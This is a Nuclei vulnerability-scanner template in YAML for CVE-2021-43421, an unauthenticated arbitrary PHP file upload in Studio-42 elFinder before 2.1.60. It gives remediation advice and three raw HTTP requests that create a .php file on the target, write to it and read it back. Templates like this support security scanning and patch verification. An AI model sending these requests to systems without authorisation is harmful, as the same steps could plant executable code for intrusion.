61 lines
2.0 KiB
YAML
61 lines
2.0 KiB
YAML
id: CVE-2021-43421
|
|
|
|
info:
|
|
name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
|
|
author: akincibor
|
|
severity: critical
|
|
description: |
|
|
Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
|
|
remediation: |
|
|
Upgrade to the latest version of Studio-42 elFinder plugin (2.1.60 or higher) to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/Studio-42/elFinder/issues/3429
|
|
- https://twitter.com/infosec_90/status/1455180286354919425
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-43421
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-43421
|
|
cwe-id: CWE-434
|
|
epss-score: 0.05774
|
|
epss-percentile: 0.92524
|
|
cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: std42
|
|
product: elfinder
|
|
tags: cve,cve2021,elfinder,fileupload,rce,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
- |
|
|
GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_3, "{{randstr_1}}")'
|
|
- "status_code == 200"
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: hash
|
|
group: 1
|
|
regex:
|
|
- '"hash"\:"(.*?)"\,'
|
|
internal: true
|
|
|
|
# digest: 4a0a00473045022067957aa5eb64509d94248567776f399c70080cd879d50ce120f3423a2ee7b2da022100fea70b6a9ad1407870f4aa80074eb082dd1ea23924bfa9e607b8d6e597a62828:922c64590222798bb761d5b6d8e72950
|